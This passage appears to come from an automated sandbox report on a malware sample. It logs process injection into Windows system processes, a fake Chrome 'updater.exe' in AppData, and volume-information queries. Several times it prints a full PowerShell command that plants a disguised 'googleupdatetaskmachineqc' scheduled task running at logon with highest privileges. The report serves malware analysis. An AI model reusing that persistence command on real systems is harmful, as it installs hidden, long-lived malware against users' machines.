Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\conhost.exe base: 21A21380000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1CE44C00000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 155B4770000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 255FC740000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 22D3F800000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe base: 28471970000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C3A67E0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\conhost.exe base: 25E81DA0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1FC1A070000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1AE13BC0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\conhost.exe base: 21FBD160000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20C8C170000
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: unknown unknown Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#polrad#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachineqc' /tr '''c:\users\user\appdata\roaming\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -runlevel 'highest' -force; }
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#polrad#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachineqc' /tr '''c:\users\user\appdata\roaming\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -runlevel 'highest' -force; }
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#polrad#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachineqc' /tr '''c:\users\user\appdata\roaming\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -runlevel 'highest' -force; } Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#polrad#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachineqc' /tr '''c:\users\user\appdata\roaming\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -runlevel 'highest' -force; } Jump to behavior
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C1C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW, 5_2_00007FF67E6C1C64
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C1C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW, 5_2_00007FF67E6C1C64
Source: dwm.exe, 0000000B.00000002.2683605583.000001C6C8720000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000000B.00000000.1359737215.000001C6C8720000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: winlogon.exe, 00000008.00000000.1345809971.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.2652974543.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000B.00000002.2689611402.000001C6C8D50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000008.00000000.1345809971.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.2652974543.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000B.00000002.2689611402.000001C6C8D50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: winlogon.exe, 00000008.00000000.1345809971.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.2652974543.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000B.00000002.2689611402.000001C6C8D50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: winlogon.exe, 00000008.00000000.1345809971.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.2652974543.000002EA8AB50000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000B.00000002.2689611402.000001C6C8D50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: yProgram Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6714A0 cpuid 8_2_000002EA8A6714A0
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
